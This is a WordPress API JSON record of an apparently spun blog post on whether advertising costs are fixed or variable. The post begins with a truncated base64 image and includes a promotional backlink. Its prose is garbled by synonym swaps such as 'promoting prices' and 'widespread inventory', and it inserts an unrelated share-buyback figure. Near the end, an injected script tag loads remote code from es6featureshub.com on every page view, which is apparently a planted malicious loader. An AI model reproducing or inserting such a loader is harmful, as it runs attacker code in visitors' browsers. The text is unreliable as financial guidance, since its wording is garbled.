Qo4cWuzEEZ5EmQ6CCZDknDp9RkbAfDGjZuizxA2tWeqXtgcN6hIu\/iFUZxwgzX7fiAyCGJEJcdpPWIx3AAUjyzoTvXhJeVsS\/tMsrqdLhrb55iACXMIBJU2N0DORn4a0TTYlKtWkiHTmXREjBagCpbqsncn1JJ11m3RQaSnE+sRGN9w66AR8CNXOqaY4xgclm7hbd0q16Vb8CZMjolu1N2pT1U8c7ksSHFOHCRkuDBDYHxB8tPh0XrctPceprTVudRH9HM1nqyTv3Wkfy9vXJ+GucJXDuy1u1KlQ6BTE1BwyVvR20JU6tZyTkb9z2G2otY4oMtNFFBQJctxJWCsHptAHGVfPBwPrrqd5IZfRtzlVTeINVob60VqxpjTjRIUUrWsOeXOk4O36aC6tc7FbHvNLt2YxGJ5QtHUdyv0zy9\/gNHkzinKMcMogNJkrR3U7zIB+WxP10F1SZc1Ra6yKxmWg\/cuPJJZa+IaQQM\/wDRzqBvVpeWRj9CVAh2reLqm5JpZgMv7okz5aYzX06isn5AHRXSuEn20hFTqd4NSGwcclLG2R3BdXn9kDVCiEuTLVVqrJdqtTWhCFyZQTzAAYAQkeBsbdgB9dW9Irkm2KHcX2LT2veVtOTmwXAEl8I3yPiAMY1wrYlVj7LNlpMKi2\/TbaVHg27bcRiI5lT0lKx1Scd1E+Nwn56vHXGo6gtTQU4s4QANKuwb3clWw1Ubuqsx+pu86nW0NhLaBnZKRsBjtqyuK8ESWvcaI8Woq2h1HFZDvqR8PT46I1gOyO6eNg3VpWOIS2XHY1OaMgo2LoOGgfPHmv8AYaq6S5edxvw6kurRmKWidyvtNoWlbiEd0+eQSf21QMORQlS1OhfcHHrqO7Vp8JLjNHrzsEukAJbcAGfXHbOrUdgEFuJ1tx0TNuO6I1BjtIZ++lSDyssDucefwA9dAD3EG9JjzzMmNAhxGgcuNkuOOHOxz2AH76pEOJbW5JnTH3X1j7x15zmcUPTPp8BqqqkvqOhDbwLAxhHl9dRtq0KH4nNo06Iro3Er7OlJVWJ5MInkdcWAAnPZX09NEky8aPKcZZiV6ITIJ6KC6AXfkDvrNdW4ezK3KM+s3tUVTUBwMCGssMMc\/YhsHcgdsn4nOoEbhVTVvKFTK5LLfJ0ZHMozHDjClqd8s+icfPU5hd0pZiMgrdOSZxdtuiyJK6\/PbjQerytSOoN19iNzv9NQHvaDthKJLMPoKbiKw5NeeCYzQ2JBUPxub\/y05ProAk8NrSqEtqRKtliQWgOmH2lOhGO2AvONRJvCi058SJAlUKTLZp7fTjNuBYbbGc9kYBPxO+ql\/grtncORTBr9\/WlekNmJTZMiY2680sOojOBrIUDgkjGNd74aRXaHIpX2qiIl\/CytYyVAHOMDS\/gWkzQY3uVKo0hmPkEtJS4UbHOMHVu43UnPGYEnmxjdo6oXmtN1cSudsCF\/\/9k=\"\/><\/p>\n<p>This performance-based model generated 18 million user-generated clips, proving variable spending\u2019s influence. Strategic choices typically hinge on balancing predictable commitments with agile spending. Let\u2019s examine how family names leverage distinct approaches to maximise visibility while maintaining monetary control. Ever wondered why some promotional budgets stay regular while others swing wildly? Traditional outlets like TV and print often lock businesses into predictable spending patterns. Balancing predictable expenses with dynamic investments isn\u2019t just smart\u2014it\u2019s important for survival in unstable markets.<\/p>\n<ul>\n<li>This readability allows businesses to anticipate how whole expenses will change with fluctuations in sales quantity or operational activity, permitting for more informed useful resource allocation and expenditure control.<\/li>\n<li>Promoting prices don&#8217;t fit neatly into a single fastened or variable class; their classification is dependent upon how the promoting technique is structured.<\/li>\n<li>During the three fiscal quarters of 2025, the Firm repurchased and retired 596,754 shares of widespread inventory for a complete of\u00a0$274.7 million.<\/li>\n<li>For instance, raw materials prices increase as extra units are produced, and sales commissions rise with greater gross sales.<\/li>\n<li>For instance, suppose a business is producing a product and incurs $100 in further prices as production will increase.<\/li>\n<\/ul>\n<h2>How Does Figuring Out If An Promoting Cost Is Fixed Or Variable Assist My Business?<\/h2>\n<p>This happens when there is a mounted base value, like retaining a marketing agency, combined with variable spending that fluctuates primarily based on exercise or gross sales volume, corresponding to efficiency marketing campaigns. This blend helps define what kind of price is promoting for lots of trendy companies. By understanding the fixed and variable elements of advertising prices, businesses could make extra informed decisions about their advertising investments. Optimizing promoting spend leads to elevated gross sales, improved profitability, and a stronger bottom line. A clear understanding of how promoting costs immediately relate to gross sales revenue is important for maximizing ROI and achieving sustainable development. Understanding how enterprise costs behave is fundamental for sound financial management.<\/p>\n<p>This adaptability allows companies to maintain a baseline advertising presence while also scaling efforts dynamically. Figuring Out whether an promoting value is fastened or variable considerably impacts an organization&#8217;s budgeting course of. Return on Ad Spend (ROAS), a key metric for marketing efficiency, is closely influenced by the classification of these costs. Businesses usually consult with trade consultants like Neil Patel for strategic insights on optimizing their ad budgets. Understanding the complexities of whether your advertising price is fixed or variable is key to creating efficient methods that enhance your ROI. Sure, promoting bills frequently fall into the semi-variable or blended cost class.<\/p>\n<h2>Linking Price Range To Succeed In And Influence<\/h2>\n<p>It includes evaluating the entire prices of a marketing campaign to the anticipated benefits, similar to elevated sales, model consciousness, or buyer acquisition. This means grouping bills based mostly on what the promoting is meant to attain (e.g., brand awareness campaigns, lead generation campaigns, gross sales conversion campaigns). For instance, eCommerce companies running seasonal advert campaigns during peak buying seasons like Black Friday or Christmas will see promoting prices fluctuate primarily based on competition and demand. Ultimately, sensible budgeting transforms advertising from an expense right into a development lever. Balance anchors your brand <a href=\"https:\/\/www.adprun.net\/are-advertising-and-marketing-expenses-fixed-or\/\">is advertising a fixed or variable cost<\/a> in consistency while variable ways capture well timed alternatives.<\/p>\n<p>Ignoring the variable nature of promoting can lead to missed opportunities and suboptimal returns on investment. Regardless of whether promoting is classified as mounted or variable, efficient value management is important. GLMA Agency focuses on crafting tailored promoting methods that maximize ROI whereas staying within budgetary constraints. Having established that promoting prices hardly ever fit neatly into the &#8220;fixed&#8221; category, it becomes crucial to grasp the extra nuanced actuality of how these expenses really behave. The company invests in annual billboard contracts across main cities\u2014a mounted expense ensuring constant model publicity.<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This fee, which may be 5% to 30% of affiliate income, is a variable expense. Direct mail campaigns, the place&#8230;<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39],"tags":[],"class_list":["post-3582","post","type-post","status-publish","format-standard","hentry","category-bookkeeping-9"],"_links":{"self":[{"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/posts\/3582","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/comments?post=3582"}],"version-history":[{"count":2,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/posts\/3582\/revisions"}],"predecessor-version":[{"id":4482,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/posts\/3582\/revisions\/4482"}],"wp:attachment":[{"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/media?parent=3582"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/categories?post=3582"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/viamlab.com\/vi\/wp-json\/wp\/v2\/tags?post=3582"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}